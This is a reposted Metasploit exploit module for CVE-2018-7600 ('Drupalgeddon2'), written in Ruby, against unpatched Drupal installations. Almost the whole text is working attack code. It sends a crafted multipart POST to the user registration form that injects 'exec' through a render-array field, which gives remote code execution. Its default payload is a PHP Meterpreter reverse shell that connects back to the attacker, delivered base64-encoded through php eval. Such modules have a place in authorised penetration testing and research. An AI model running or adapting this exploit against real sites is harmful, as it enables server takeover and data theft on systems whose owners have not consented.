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Drupal < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution (Meta
来源:metasploit.com 作者:Rojo 发布时间:2018-04-19  

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
    Rank = ExcellentRanking
 
    include Msf::Exploit::Remote::HttpClient
 
    def initialize(info={})
      super(update_info(info,
        'Name'           => 'Drupalgeddon2',
        'Description'    => %q{
          CVE-2018-7600 / SA-CORE-2018-002
          Drupal before 7.58, 8.x before 8.3.9, 8.4.x before 8.4.6, and 8.5.x before 8.5.1
          allows remote attackers to execute arbitrary code because of an issue affecting
          multiple subsystems with default or common module configurations.

          The module can load msf PHP arch payloads, using the php/base64 encoder.

          The resulting RCE on Drupal looks like this: php -r 'eval(base64_decode(#{PAYLOAD}));'
        },
        'License'        => MSF_LICENSE,
        'Author'         =>
          [
            'Vitalii Rudnykh',      # initial PoC
            'Hans Topo',            # further research and ruby port
            'José Ignacio Rojo'     # further research and msf module
          ],
        'References'     =>
          [
            ['SA-CORE', '2018-002'],
            ['CVE', '2018-7600'],
          ],
        'DefaultOptions'  =>
        {
          'encoder' => 'php/base64',
          'payload' => 'php/meterpreter/reverse_tcp',
        },
        'Privileged'     => false,
        'Platform'       => ['php'],
        'Arch'           => [ARCH_PHP],
        'Targets'        =>
          [
            ['User register form with exec', {}],
          ],
        'DisclosureDate' => 'Apr 15 2018',
        'DefaultTarget'  => 0
      ))
 
      register_options(
        [
          OptString.new('TARGETURI', [ true, "The target URI of the Drupal installation", '/']),
        ])
 
      register_advanced_options(
        [

        ])
    end
 
    def uri_path
      normalize_uri(target_uri.path)
    end

    def exploit_user_register
      data = Rex::MIME::Message.new
      data.add_part("php -r '#{payload.encoded}'", nil, nil, 'form-data; name="mail[#markup]"')
      data.add_part('markup', nil, nil, 'form-data; name="mail[#type]"')
      data.add_part('user_register_form', nil, nil, 'form-data; name="form_id"')
      data.add_part('1', nil, nil, 'form-data; name="_drupal_ajax"')
      data.add_part('exec', nil, nil, 'form-data; name="mail[#post_render][]"')
      post_data = data.to_s

      # /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax
      send_request_cgi({
        'method'   => 'POST',
        'uri'      => "#{uri_path}user/register",
        'ctype'    => "multipart/form-data; boundary=#{data.bound}",
        'data'     => post_data,
        'vars_get' => {
          'element_parents' => 'account/mail/#value',
          'ajax_form'       => '1',
          '_wrapper_format' => 'drupal_ajax',
        }
      })
    end
 
    ##
    # Main
    ##
 
    def exploit
      case datastore['TARGET']
      when 0
        exploit_user_register
      else
        fail_with(Failure::BadConfig, "Invalid target selected.")
      end
    end
  end


 
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